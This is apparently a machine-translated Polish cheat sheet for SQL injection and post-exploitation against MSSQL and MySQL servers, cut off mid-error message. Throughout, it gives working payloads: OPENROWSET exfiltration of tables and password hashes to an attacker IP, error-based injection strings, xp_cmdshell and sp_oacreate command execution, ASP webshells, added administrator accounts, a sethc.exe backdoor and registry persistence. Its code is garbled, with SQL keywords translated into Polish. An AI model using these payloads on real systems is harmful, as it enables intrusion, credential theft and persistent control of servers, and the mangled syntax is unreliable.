select * from OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, wybierz * z tabeli1 )
Parametry: (1) Nazwa dostawcy OLEDB
2. Parametr ciągu połączeń może być dowolnym portem do połączenia, na przykład
select * from OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,

Wybierz * z tabeli
3. Skopiuj całą bazę _blank> docelowego hosta i wstaw wszystkie zdalne tabele do lokalnej tabeli.

Podstawowa składnia:
insert do OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, wybierz * z tabeli 1) wybierz

* z tabeli 2
To polecenie liniowe kopiuje wszystkie dane z tabeli table2 na docelowym hostze do tabeli table1 w bazie danych _blank> zdalnej. Odpowiednie naprawy w praktyce

Zmień adres IP i port ciągu połączeń, aby wskazywał tam, gdzie go potrzebujesz, na przykład:
insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,wybierz

* z tabeli1) wybierz * z tabeli2
insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,wybierz

* z _blank>_sysdatabases)
Wybierz * z master.dbo.sysdatabases
insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,wybierz

* z _blank>_sysobjects)
Wybierz * z user_blank>_database.dbo.sysobjects
insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,wybierz

* z _blank>_syscolumns)
Wybierz * z user_blank>_database.dbo.syscolumns
Replikuj _blank> bazę danych:
insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,wybierz

* z tabeli 1) wybierz * z bazy danych.. Tabela1
insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,wybierz

* z tabeli 2) wybierz * z bazy danych.. Tabela2

Hash hasła kopiującego tablicę skrótu (HASH) _blank> hasło jest przechowywany w sysxlogins. Oto jak:
insert into OPENROWSET(SQLOLEDB,

uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,wybierz * z _blank>_sysxlogins)

Wybierz * z database.dbo.sysxlogins
Gdy już zdobędziesz hash, możesz go wymusić siłą.

Aby przechodzić przez katalog: Najpierw stwórz tymczasową tabelę: temp
; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); –
; wstaw temp exec master.dbo.xp_blank>_availablemedia; – Pobierz wszystkie prądowe napędy
; wstaw do temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Pobierz listę podkatalogów
; Wstaw do temp(id,num1) wynik master.dbo.xp_blank>_dirtree c:\; – Uzyskaj strukturę drzewa katalogów dla wszystkich podkatalogów,

Połącz cale z tabelą temperatur
; wstaw do temp(id) exec master.dbo.xp_blank>_cmdshell wpisz c:\web\index.asp; – Zobacz plik

Treść
; wstaw do temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; –
; wstaw do temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; –
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs enum w3svc
; Wstaw do temp(id,num1) wynik master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Odpowiednie uprawnienia

PUBLICZNIE)
Napisz do stołu:
Instrukcja 1: oraz 1=(Wybierz IS_blank>_SRVROLEMEMBER(sysadmin)); –
Oświadczenie 2: oraz 1=(Wybierz IS_blank>_SRVROLEMEMBER(serweradmin)); –
Oświadczenie 3: oraz 1=(Wybierz IS_blank>_SRVROLEMEMBER(setupadmin)); –
Zdanie 4: oraz 1=(Wybierz IS_blank>_SRVROLEMEMBER(securityadmin)); –
Zdanie 5: oraz 1=(Wybierz IS_blank>_SRVROLEMEMBER(securityadmin)); –
Oświadczenie 6: oraz 1=(Wybierz IS_blank>_SRVROLEMEMBER(diskadmin)); –
Zdanie 7: oraz 1=(Wybierz IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Oświadczenie 8: oraz 1=(Wybierz IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Zdanie 9: oraz 1=(Wybierz IS_blank>_MEMBER(db_blank>_owner)); –

Zapisz ścieżkę do tabeli:
; Stwórz tabelę Dirs(paths varchar(100), id int)–
; Wstaw dirs exec master.dbo.xp_blank>_dirtree c:\–
oraz 0<>(wybierz top 1 ścieżki z Dirs)–
oraz 0<>(wybierz górne 1 ścieżki z kierunków, gdzie ścieżki nie należą do (@Inetpub))–
; Create table dirs1(paths varchar(100), id int)–
; wstaw dirs exec master.dbo.xp_blank>_dirtree e:\web–
oraz 0<>(wybierz top 1 ścieżki z dirs1)–

Wykonaj kopię zapasową _blank> bazy danych do katalogu webowego: Pobierz
; zadeklaruj @a nazwę systemu; zestaw @a=db_blank>_name(); backup database @a to disk=e:\web\down.bak; –

oraz 1=(Wybierz top 1 nazwę z(Wybierz top 12 id,nazwa z sysobjects, gdzie xtype=char(85)) T

kolejność według ID opisując)
oraz 1=(Wybierz Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) z sysobjects) Zobacz także

Powiązane tabele.
oraz 1=(wybierz user_blank>_id z USER_blank>_LOGIN)
oraz 0=(wybierz użytkownika z USER_blank>_LOGIN gdzie użytkownik>1)

-=- wscrip{filter}t.shell przykład -=-
deklaruj @o int
Exec sp_blank>_oacreate wscrip{filter}t.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, notepad.exe–

deklaruj @o int, @f int, @t int, @ret int
deklaruj @line varchar(8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, OpenTextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
zaczynaj
druk @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
koniec

deklaruj @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>

deklaruj @o int, @ret int
executive sp_blank>_oacreate speech.voicetext, @o koniec
exec sp_blank>_oamethod @o, rejestr, NULL, foo, bar
Wykonawczy sp_blank>_oasetproperty @o, prędkość, 150
exec sp_blank>_oamethod @o, mów, NULL, wszystkie twoje serwery sequeli należą do,US, 528
czekaj na opóźnienie 00:00:05

; deklaruj @o int, @ret int executive sp_blank>_oacreate speech.voicetext, @o out exec

sp_blank>_oamethod @o, rejestr, NULL, foo, bar executive sp_blank>_oasetproperty @o, speed, 150 executive

sp_blank>_oamethod @o, mów, NULL, wszystkie twoje serwery sequeli należą do nas, 528 czekaj na opóźnienie

00:00:05–

xp_blank>_dirtree obowiązujące PUBLICZNE pozwolenie
exec master.dbo.xp_blank>_dirtree c: Zwrócone informacje mają dwa pola: podkatalog, głębię. Pola podkatalogu

Typ znaku, pole głębi to pole kształtowania.
Utwórz tabelę Directors(Paths Varchar(100), ID Int)
Budowanie tabeli, tabela utworzona tutaj jest powiązana z powyższym xp_blank>_dirtree, z równymi polami i tym samym typem.
wstaw dirs exec master.dbo.xp_blank>_dirtree c: Pod warunkiem, że zbudujemy tabelę i zdefiniujemy pola zwracane przez proces przechowywania równomiernie

Wykonaj! Aby osiągnąć efekt pisania tabel, krok po kroku, aby uzyskać potrzebne informacje!
To wstrzykiwanie błędów opiera się głównie na przepełnieniu typu danych Mysql
    mysql > SELECT 18446744073709551610 * 2 ;
    BŁĄD 1690 (22003): Wartość BIGINT UNSIGNED jest poza zakresem w '(18446744073709551610 * 2)'

    mysql > SELECT - 1 * 9223372036854775808 ;
    BŁĄD 1690 (22003): BIGINT NIEZNAKOMITA wartość jest poza zakresem w '(- (1) *

9223372036854775808)'
Wersja bazy zapytań:
    mysql> SELECT * 2 (jeśli ((SELECT * from (SELECT (version ()) s), 18446744073709551610,

18446744073709551610));
    BŁĄD 1690 (22003): Wartość BIGINT UNSIGNED jest poza zakresem w '(2 * jeśli (( Wybierz ' 5.5 'z

Dual), 18446744073709551610.18446744073709551610))'
Uzyskaj nazwę pola:
    mysql> WYBIERZ 2 * jeśli((SELECT * from (select * from test.shop) jako '' limit 1)>(SELECT * from

test.shop limit 1), 18446744073709551610, 18446744073709551610);

    BŁĄD 1690 (22003): Wartość BIGINT BEZ znaku jest poza zakresem w '(2 * jeśli((((wybierz

'article','dealer', 'price' from (wybierz 'test'.'shop'.'article' AS

'artykuł',,'test'.'sklep'.'dealer' AS 'dealer','test'.'shop'.'cena' AS 'cena' z

'test'. 'shop') limit 1) > (wybierz

'test'.'sklep'.'artykuł','test'.'sklep'.'dealer','test'.'sklep'.'cena' z 'test'.'sklep' limit

1)),18446744073709551610,18446744073709551610))'
Uzyskaj wartość pola:

    mysql> WYBIERZ 2 * jeśli((SELECT * from (select * from (mysql.user) LIMIT 1) jako '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    BŁĄD 1690 (22003): Wartość BIGINT BEZ znaku jest poza zakresem w '(2 * jeśli((((wybierz

'lokalny host', 'root', '*'', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '

Y', 'Y','Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y','Y', 'Y','','', '0','0',', ' z limitu dualnego 1)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Należy zauważyć, że ta metoda nie działa ze starszymi wersjami Mysql i musisz znać limit długości komunikatu o błędzie, ponieważ to będzie decydować o tym

Możesz mieć tyle czasu, ile chcesz:
    mysys / my_error.c

    /* Maksymalna długość komunikatu o błędzie. Powinno być zsynchronizowane z MYSQL_ERRMSG_SIZE. */
    #define ERRMSGSIZE (512)

Jeśli obiektem jest MariaDB (fork Mysql), możesz zobaczyć podobny komunikat o błędzie podczas próby powyższej metody:

    mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    BŁĄD 1690 (22003): Wartość BIGINT BEZ znaku jest poza zakresem w '(2 * jeśli((wybierz

#),18446744073709551610,18446744073709551610))'

Jako rozwiązanie ten problem można rozwiązać w następujący sposób:

    mysql> SELECT (I NIE JEST NULL) - -9223372036854775808 Z (SELECT (version())i)a;
    BŁĄD 1690 (22003): Wartość BIGINT jest poza zakresem w '(('5.5-MariaDB' nie jest null) - -

(9223372036854775808))'
Zobaczmy teraz, czy uda nam się trochę skrócić nasz wektor

//查询数据库版本

    SELECT 2*(if((SELECT * from (SELECT (version()))), 18446744073709551610,

18446744073709551610))
    =
    wybierz 1E308*if((select*from(select version())x),2,2)

    SELECT (i NIE JEST NULL) - -9223372036854775808 Z (SELECT (version())i)a
    =
    select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称
    SELECT 2 * jeśli((SELECT * from (select * from test.shop) jako '' limit 1)>(SELECT * from

test.shop limit 1), 18446744073709551610, 18446744073709551610)
    =
    wybierz 1E308*jeśli((wybrać*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) jako '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    wybierz 1E308*jeśli((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.user limit 0),2,2)
//获取指定字段的值
    wybierz 1E308*if((select user|| host|| hasło|| file_priv from(select*from mysql.user LIMIT)

1) limit 1),2,2)
//获取字段个数


    wybierz 1E308*if((select*from mysql.user limit 1)>(wybierz 1),2,2)



Inne deformacje

    SELECT (i NIE JEST NULL) - -9223372036854775808 Z (SELECT (version())i)a
    wybierz 1E308*if((select user|| host|| hasło|| file_priv from(select*from mysql.user LIMIT)

1) limit 1),2,2);
    =>
    wybierz 2*jeśli((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    mysql> wybierz (wybierz * z mysql.user)=1;
    mysql> wybierz (wybierz * z mysql.user)in(1);

    BŁĄD 1241 (21000): Operand powinien zawierać 42 kolumny
    wybierz 2*jeśli((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    wybierz jeśli((wybierz użytkownika|| host|| hasło|| file_priv from(select*from mysql.user LIMIT 1)a

limit 1),2,2)*1E308
    SELECT (i NIE JEST NULL) - -9223372036854775808 Z (SELECT (version())i)a
    select (x!=0x00)--9223372036854775808 from(SELECT version()x)y
    mysql> select!x-~0.FROM(select+user()x)f;
    BŁĄD 1690 (22003): BIGINT WARTOŚĆ NIEZNANA jest poza zakresem w '((not('root@localhost')) - ~

(0))'
3. Ocenić system baz danych
; oraz (wybierz count(*) z sysobjects)>0 mssql
; oraz (wybierz count(*) z msysobjects)>0 dostępu
4. Parametr wstrzyknięcia to znak
'and [kryteria zapytania] oraz ''='
5. Podczas wyszukiwania nie ma filtrowanych parametrów
'and [kryteria zapytania] oraz '%25'='
6. Zgadnij bazę danych
; oraz (wybierz Count(*) z [nazwa bazy danych])>0
7. Zgadnij pole
; oraz (wybierz Count(field name) z nazwy bazy danych)>0
8. Zgadnij długość rekordu w polu
; oraz (wybierz top 1 len (nazwa pola) z nazwy bazy danych)>0
9. (1) Zgaduj wartość ASCII pola (dostęp)
; oraz (wybierz top 1 ASC(Mid(field name, 1,1)) z nazwy bazy danych)>0
(2) Zgadnij wartość ASCII pola (mssql)
; oraz (wybierz top 1 unicode(substring(field name, 1,1)) z nazwy bazy danych)>0
10. Struktura uprawnień testowych (mssql)
; oraz 1=(wybierz IS_SRVROLEMEMBER('sysadmin')); --
; oraz 1=(wybierz IS_SRVROLEMEMBER('serveradmin')); --
; oraz 1=(wybierz IS_SRVROLEMEMBER('setupadmin')); --
; oraz 1=(wybierz IS_SRVROLEMEMBER('securityadmin')); --
; oraz 1=(wybierz IS_SRVROLEMEMBER('diskadmin')); --
; oraz 1=(wybierz IS_SRVROLEMEMBER('bulkadmin')); --
; oraz 1=(wybierz IS_MEMBER('db_owner')); --
11. Dodaj konto dla mssql i systemu
; nazwa użytkownika master.dbo.sp_addlogin wykonawcza; --
; exec master.dbo.sp_password null, nazwa użytkownika, hasło; --
; nazwa użytkownika administratora systemu executive master.dbo.sp_addsrvrolemember; --
; exec master.dbo.xp_cmdshell 'net username, password /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; exec, master.dbo.xp_cmdshell 'net username, password'; --
; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; --
12. (1) Przejrzyj katalog
; Utwórz tabelę Directors(Paths Varchar(100), ID Int)
; Wstaw dirs exec master.dbo.xp_dirtree 'c:\'
; oraz (wybierz top 1 ścieżek z Dirs)>0
; oraz (wybierz top 1 ścieżek z kierunków, gdzie ścieżki nie należą do ('ścieżki uzyskane z poprzedniego kroku'))>)
(2) Przemierzanie katalogu
; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; wstaw temp exec master.dbo.xp_availablemedia; -- Pobierz wszystkie napędy prądowe
; wstaw do temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Pobierz listę podkatalogów
; wstaw do temp(id,num1) wynik master.dbo.xp_dirtree 'c:\'; -- Uzyskaj strukturę drzewa katalogów dla wszystkich podkatalogów
; wstaw do temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Zobacz zawartość pliku
13. Procedury przechowywane w mssql
xp_regenumvalues Klucz root rejestru, klucz potomny
; np. xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' i inne

Metoda zestawu rekordów zwracająca wszystkie wartości kluczy
xp_regread Klucz główny, klucz potomny, nazwa klucz-wartość
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion','CommonFilesDir' zwraca wartość klucza formułowania
xp_regwrite Klucz główny, klucz potomny, nazwa wartości, typ wartości, wartość
Istnieją dwa typy wartości REG_SZ REG_DWORD dla typów znaków oraz dla liczb całkowitych
; executive xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' są zapisywane w rejestrze
xp_regdeletevalue Klucz główny, podklucz, nazwa wartości
executive xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName' do usunięcia wartości
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' do usuwania,

Uwzględnij wszystkie wartości pod tym kluczem
14. Kopia zapasowa mssql tworzy webshell
Model użycia
create table cmd (str image);
wstaw do wartości cmd(str) ('<% Dim oscrip{filter}t %>');
model bazy zapasowej na dysk='c:\l.asp';
15. Funkcje wbudowane MSSQL
; oraz (wybierz @@version)>0, aby uzyskać numer wersji Windows
; oraz user_name()='dbo', aby określić, czy podłączony użytkownik obecnego systemu jest SA
; oraz (wybierz user_name()>0 Zniszczył podłączonych użytkowników obecnego systemu
; oraz (wybierz db_name()>0, aby uzyskać aktualnie połączoną bazę danych
16. Zwięzła webshell
Model użycia
create table cmd (str image);
Wprowadź do wartości cmd(str) ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c")).stdout.readall%>');
model bazy zapasowej na dysk='g:\wwwtest\l.asp';
Przy prośbie użyj czegoś takiego:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Pobierz wszystkie nazwy baz danych, w tym bazy systemowe
–WYBIERZ nazwę Z master.dbo.sysdatabases

Uzyskaj wszystkie nazwy baz danych niezwiązanych z systemem
–wybierz [nazwa] z master.dbo.sysdatabases, gdzie DBId>6 Uporządkuj według [Imię]

Zdobądź wszystkie informacje, w tym adres pliku bazy danych
–wybierz * z master.dbo.sysdatabases, gdzie DBId>6 Order By

[Imię]



To zapytanie o instrukcje zwraca wszystkie tabele użytkownika

Wybierz * z sysobjectów, gdzie xtype='u'


Zapytaj wszystkie informacje z tabeli danych w systemie

Wybierz * z sysobjects



Spójrz na nazwę maszyny
Wybierz * z sys.servers





Spis treści kolumn
Wykonawczy master.dbo.xp_subdirs 'C:\'


Wykonawca master.dbo.xp_dirtree 'C:',1,1 db_owner
Uprawnienia mogą być egzekwowane


exec master.dbo.xp_dirtree 'c:/Program Files',1,1





Kod programowy, napisany w webshellu


Wykonawczy master.dbo.xp_subdirs 'd:\web\www.xx.com';
Wykonawczy sp_makewebtask 'D:

\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"






Wykonaj wykonanie, mistrzu... xp_enumgroups  


Użytkownicy systemu traverse


Wykonaj wykonanie, mistrzu... xp_getnetname
Pobierz aktualną nazwę maszyny


--Wypisz stałe dyski na serwerze wraz z dostępną przestrzenią dla każdego dysku
   DBO Public


wykonaj

xp_ntsec_enumdomains


--
Załóż konto, aby zalogować się do MSSQL
Imię master.dbo.sp_addlogin Wykonawczy, Pass; --






--
Wymień nazwę domeny serwera
xp_ntsec_enumdomains //
Nazwa maszyny //dbo public


--
Zatrzymaj lub rozpocznij usługę
xp_servicecontrol 'stop', 'schedule' //schedule to nazwa usługi //dbo


--Użyj pid

Zatrzymaj wykonywany program
xp_terminate_process 123 //123 to PID //DBO


--
Wymienione są tylko podkatalogi w katalogu
dbo.xp_subdirs 'C:' //dbo


SQL Server
Metoda otwarcia xp_cmdshell w 2005 roku
EXEC sp_configure 'pokaż zaawansowane opcje', 1; REKONFIGUROWAĆ; EXEC

sp_configure 'xp_cmdshell', 1; REKONFIGUROWAĆ;

SQL2005 Otwórz 'OPENROWSET'
Wspierane metody:
Dyrektor sp_configure 'Pokaż zaawansowane opcje', 1; REKONFIGUROWAĆ; Wykonawczy sp_configure 'Ad Hoc

Distributed Queries',1; REKONFIGUROWAĆ;

SQL2005 umożliwić wsparcie 'sp_oacreate':
Dyrektor sp_configure 'Pokaż zaawansowane opcje', 1; REKONFIGUROWAĆ; Wykonawczy

sp_configure 'Ole Automation Procedures',1; REKONFIGURUJ





Jak włączyć xp_cmdshell w SQL Server 2008


-- Aby umożliwić zmianę opcji zaawansowanych.
EXEC

sp_configure 'pokaż zaawansowane opcje', 1
IDŹ
-- Aktualizować aktualnie skonfigurowaną wartość dla

Zaawansowane opcje.
REKONFIGURUJ
IDŹ
-- Aby włączyć tę funkcję.
DYREKTOR sp_configure 'xp_cmdshell', 1
IDŹ
-- Do

Zaktualizuj aktualnie skonfigurowaną wartość dla tej funkcji.
REKONFIGURUJ
IDŹ


Exec xp_cmdshell 'ipconfig'



Dziś chciałem zmienić hasło logowania do SA serwera bazy danych, ale nagle zapomniałem, więc musiałem otworzyć analizator zapytań z pomocą innych kont, aby zmienić hasło SA

To bardzo proste:


Wykonanie:
sp_password Null, 'teracypwd', 'sa'
Ustaw hasło SA na "teracypwd"


Po pomyślnej egzekucji

Jest też "Komendy zakończone pomyślnie."  OK!








W uprawnieniach bazy danych oddziel metodę uzyskania adresu IP serwera bazy danych MSSQL


1. Lokalna Karolina Północna słucha NC - VVLP 80


2.; wstaw do

OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Network=DBMSSOCN; Adres = Twój IP, 80; ', 'wybierz * z

dest_table') wybierz * spośród src_table; --


Wybierz * z openrowset

('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','wybierz użytkownika; ')





Import i eksport bazy danych

/*不同服务器数据库之间的数据操作*/

--Utworzenie serwera łącza
sp_addlinkedserver wykonawczy   

'ITSV', 'SQLOLEDB', 'Zdalna nazwa serwera lub adres IP'
exec sp_addlinkedsrvlogin 'ITSV', 'false

',null, 'nazwa użytkownika', 'hasło'

--przykład zapytania
wybierz * z ITSV.database name.dbo.table name

--import example
Wybierz *

do tabeli z ITSV.databasename.dbo.tablename

--Usuń powiązany serwer, jeśli w przyszłości nie będzie już używany
wykonawczy sp_dropserver 'ITSV',

'droplogins'

--
Łączenie się z danymi zdalnymi/LAN (openrowset/openquery/opendatasource)
--1、openrowset

--przykład zapytania
Wybierz *

from openrowset( 'SQLOLEDB ', 'nazwa serwera sql'; 'Nazwa użytkownika'; 'password', nazwa bazy danych.dbo.table name)

--
Wygeneruj lokalną tabelę
wybierz * do tabeli z openrowset( 'SQLOLEDB ', 'nazwa serwera sql'; 'Nazwa użytkownika'; 'Hasło', numer

Według nazwy bazy danych.dbo. nazwa tabeli)

--
Importuj lokalną tabelę do zdalnej tabeli
wstaw openrowset( 'SQLOLEDB', 'nazwa serwera sql'; 'Nazwa użytkownika'; "Hasła", bazy danych

nazwa.dbo.nazwa tabeli)
Wybierz *z lokalnej tabeli

--
Aktualizuj lokalne tabele
Aktualizacja B
zbiór b. kolumna A = a
from openrowset( 'SQLOLEDB ', 'nazwa serwera sql'; 'Nazwa użytkownika'; '

hasło ', nazwa bazy danych .dbo.table name) jako wewnętrzny join lokalna tabela b
na a.column1=b.column1

--openquery
Użycie wymaga nawiązania połączenia

--Najpierw utworzyć połączenie, aby utworzyć serwer łącza
exec sp_addlinkedserver 'ITSV', ' ',

'SQLOLEDB', 'zdalna nazwa serwera lub adres IP'
--Pytaj
Wybierz *
FROM openquery(ITSV, 'SELECT * FROM danych

library.dbo.table name ')
--
Importuj lokalną tabelę do zdalnej tabeli
wstaw openquery(ITSV, 'SELECT * FROM DATABASE.DBO.TABLE NAME')
Wybierz * z lokalnego

Tabela
--aktualizacja lokalnej tabeli
Aktualizacja B
zbiór b. kolumna B=a
FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')

jako  
wewnętrzny spój lokalny tabela b na kolumnie A=b. kolumna A

--3、opendatasource/openrowset
WYBIERZ *
OD   

opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; ID użytkownika = Nazwa logowania; Hasło=Hasło '

).test.dbo.roy_ta
--
Importuj lokalną tabelę do zdalnej tabeli



Usunięcie i przywrócenie xp_cmdshell


Sposoby na odzyskanie xp_cmdshell   
Usuń rozszerzoną procedurę przechowywaną xp_cmdshell

Sformułowanie   
Wykonawczy sp_dropextendedproc 'xp_cmdshell'   



Recover the sql statement of cmdshell   
egzekulator sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


Wykonawczy

master.dbo.addendedproc 'xp_cmdshell','xplog70.dll'; Wybierz count(*) z

master.dbo.sysobjects gdzie xtype='x' oraz   
Wynik to 1 i jest w porządku   


W przeciwnym razie musisz przesłać c:\inetput\web

\xplog70.dll później   
Wykonawczy master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll

’; --   



Jeśli usuniesz to w następujący sposób   
Procedura zrzutu sp_addextendedproc   
Procedura zrzutu sp_oacreate   
Wykonawczy

sp_dropextendedproc 'xp_cmdshell'   



Możesz ją przywrócić następującym oświadczeniem   
dbcc addextendedproc ("sp_oacreate","odsole70.dll")   
DBCC

addextendedproc ("xp_cmdshell","xplog70.dll")   

W ten sposób można ją przywrócić bezpośrednio, niezależnie od tego, czy sp_addextendedproc istnieje, czy nie






1、
Użyj xp_cmdshell:
          Exec master.dbo.xp_cmdshell "net user admin admin /add"
          Wykonawczy

master.dbo.xp_cmdshell "net localgroup administrators admin /add"

W xp_cmdshell przypadku użyj sp_oacreate, aby podążać za sp_oamethod:
          deklaruj @object int   
          Wykonawczy

sp_oacreate 'wscrip{filter}t.Shell', @object koniec         
          Wykonawczy sp_oamethod

@object,'Run', NULL,'net user admin admin /add'
          exec sp_oamethod @object, 'Run', NULL,'net

localgroup Administratorzy admin /add'

Uwaga: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
Korzystaj z sp_oacreate i FSO
          deklaruj @o int
          sp_oacreate wykonawczy

'scrip{filter}ting.filesystemobject', @o out
          exec sp_oamethod @o, 'copyfile', null,'c:\windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          deklaruj @oo int
          Wykonawczy

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out
          sp_oamethod @oo wykonawczy,

'copyfile', null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';

Użyj xp_regwrite (db_owner, wymagany restart):
          master.dbo.xp_regwrite wykonawczy

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd1','reg_sz','net user admin admin /add'
          master.dbo.xp_regwrite wykonawczy

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd2','reg_sz', 'net localgroup administrators admin /add'
5. Używaj sp_add_job:
          Wykonawczy

master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT'
          Korzystaj z MSDB Exec sp_delete_job

null,'x'
          Wykonawczy sp_add_job 'X'
          Wykonawczy sp_add_jobstep

Null,'x', Null,'1','CMDEXEC', 'cmd /c net user admin admin /add'
          Wykonawczy sp_add_jobserver

Null, 'x', @@servername exec sp_start_job 'x'















Wielu SA osiągnęło sukces na wielu maszynach bezpośrednio w trybie sandbox, ale nigdy go nie ćwiczyłem i nie wiem, jaki jest wskaźnik sukcesu. Gdy przedłużenie zostanie usunięte, najpierw

Przywróć pamięć do odczytu i zapisu do rejestru.
dbcc addextendedproc ('xp_regread','xpstar.dll')
dbcc addextendedproc

('xp_regwrite','xpstar.dll')



Naprawiono tryb chroniony piaskownicy
Mistrz wykonawczy... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet

\4.0\Engines', 'SandBox Mode','REG_DWORD',0; --



Sprawdź, czy wartość 'SandBoxMode' zmieniła się na 0.


master.dbo.xp_regread wykonawczy 'HKEY_LOCAL_MACHINE','SOFTWARE

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



Na koniec wywołaj tryb sandbox
select * from openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS

\system32\ias\dnary.mdb','select shell("cmd.exe /c net user user passwd /add")')







Jeśli tryb ochrony piaskownicy nie jest "wyłączony", zgłaszany jest błąd:
          Serwer: Msg 7357, poziom 16, stan 2, linia 1

Nie udało się obsłużyć obiektu 'select shell("cmd.exe /c net user pass /add")'. OLE DB oferuje programy

Przedmowa 'microsoft.jet.oledb.4.0' wskazuje, że w obiekcie nie ma kolumn.

Śledzenie błędów OLE DB [Błąd nieinterfejsowy: Dostawca OLE DB nie może przetwarzać obiektu, ponieważ obiekt

has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user

użytkownik passwd /add")']。


2、
Jeśli .mdb nie istnieje lub ścieżka wejściowa jest nieprawidłowa
           Serwer: Msg 7399, poziom 16, stan 1, linia 1

OLE DB provider 'microsoft.jet.oledb.4.0' error.
            [Dostawca OLE/DB zwrócił wiadomość:

